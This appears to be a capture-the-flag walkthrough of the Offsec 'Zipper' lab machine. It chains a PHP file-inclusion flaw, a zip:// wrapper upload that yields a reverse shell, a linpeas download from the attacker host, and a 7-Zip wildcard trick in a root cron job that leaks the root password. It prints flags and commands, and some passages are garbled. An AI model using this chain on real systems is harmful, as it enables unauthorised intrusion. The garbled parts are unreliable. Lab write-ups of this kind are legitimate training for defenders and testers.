

tags: Offsec PG Practice Hard Linux # Zipper

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.221.229 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.221.229:22
Open 192.168.221.229:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Zipper
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` Go to 80portcanClick`http://192.168.221.229/index.php?file=home`,try[LFI]
(https://github.com/russweir/OSCP-cheatsheet/blob/master/File%20Inclusion.md)
```

http://192.168.221.229/index.php?file=php://filter/convert.base64-encode/resource=index

PD9waHAKJGZpbGUgPSAKX0dFVFsnZmIsZSddOwppZihpc3NldCgkZmIsZSkpCnsKICAgIGluY2x1ZGUoliRmaWxli4iLnBocClpOwp9CmVs

## decode

```
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file"."php");
}
else
{
include("home.php");
}
?>
``` Checkhttp://192.168.221.229/index.php?file=php://filter/convert.base64-encode/resource=home
```

[illegible]

```
# decode
...
<?php include 'upload.php'; ?>
<!-- partial:index.partial.html -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
...
` `` Check`http://192.168.221.229/index.php?file=php://filter/convert.base64-encode/resource=upload`
```

PD9waHAKaWYgKCRfRkMRVMqJiYqJF9GSUxFU1snaW1nJ10plHsKICAgIAogICAgaWYgKCFibXB0eSgkX0ZJTEVTWydpbWcnXVsnbmFi

decode

```
...
<?php
if ($ _FILES && $ _FILES['img']) {
```

```
if (!empty($_FILES['img']['name'][0])) {

    $zip = new ZipArchive();
    $zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";
```

...

''' Refer to cheat sheet [PHP ZIP:// WRAPPER FOR RCE \(https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/?source=post_page-----b49a52ed8e38\)](https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/?source=post_page-----b49a52ed8e38) uploadzipGo to 192.168.221.229/index.php?

file=zip://uploads/upload_1716196660.zip%23shellget www-data user, var/wwwget local.txt

```
(kali㉿kali)-[~/pgplay]
└─$ zip shell.zip shell.php

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@zipper:/var/www$ cat local.txt
f3797a77057b02d248c59a7e7f400fd2
``` `linpeas.sh`
```

www-data@zipper:/tmp\$ wget 192.168.45.179:22/linpeas.sh

www-data@zipper:/tmp\$ chmod +x linpeas.sh

www-data@zipper:/tmp\$ ./linpeas.sh

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

```
17 *** root cd / && run-parts --report /etc/cron.hourly
25 6 *** root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.daily)
47 6 ** 7 root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.weekly)
52 6 1 ** root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.monthly)
```

```
• ○ * * * root bash /opt/backup.sh
```

====|| Executable files potentially added by user (limit 70)

2024-05-21+01:27:19.6639998980 /var/www/local.txt

2021-08-12+12:39:12.7400516130 /opt/backup.sh

====|| Unexpected in /opt (usually empty)

total 16

drwxr-xr-x 3 root root 4096 Aug 12 2021 .

drwxr-xr-x 20 root root 4096 Aug 12 2021 ..

-rwxr-xr-x 1 root root 153 Aug 12 2021 backup.sh

drwxr-xr-x 2 root root 4096 May 21 01:31 backups

''' Checkbackup.sh

```
www-data@zipper:/opt$ cat backup.sh
```

```
#!/bin/bash
```

```
password=`cat /root/secret`
```

```
cd /var/www/html/uploads
```

```
rm *.tmp
```

```
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
```

```
''' Check[Wildcards Spare tricks] (https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----b49a52ed8e38-----#id-7z) Check /var/www/html/uploads` /root/secret`
```

www-data@zipper:/var/www/html/uploads\$ ls -la

ls -la

total 20

drwxr-xr-x 2 www-data www-data 4096 May 21 01:31 .

drwxr-xr-x 3 www-data www-data 4096 Aug 12 2021 ..

-rw-r--r-- 1 www-data www-data 32 Aug 12 2021 .htaccess

-rw-r--r-- 1 www-data www-data 0 Aug 12 2021 @enox.zip

lrwxrwxrwx 1 www-data www-data 12 Aug 12 2021 enox.zip -> /root/secret

-rw-r--r-- 1 www-data www-data 156 Aug 12 2021 upload\_1628773085.zip

-rw-r--r-- 1 www-data www-data 2373 May 21 01:30 upload\_1716255009.zip

''' Check/opt/backups/backup.log

```
www-data@zipper:/opt/backups$ cat backup.log
cat backup.log

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7413 24-Core
Processor (A00F11),ASM,AES-NI)

Open archive: /opt/backups/backup.zip
--
Path = /opt/backups/backup.zip
Type = zip
Physical Size = 3000

Scanning the drive:
3 files, 2548 bytes (3 KiB)

Updating archive: /opt/backups/backup.zip

Items to compress: 3

Files read from disk: 3
Archive size: 3000 bytes (3 KiB)

Scan WARNINGS for files and folders:

WildCardsGoingWild : No more files

Scan WARNINGS: 1
``` get `root`'s password`WildCardsGoingWild`,root/rootget proof.txt
```

```
www-data@zipper:/opt/backups$ su root
Password: WildCardsGoingWild
root@zipper:~# cat proof.txt
5e57d000b18893a08935be479972f207
```
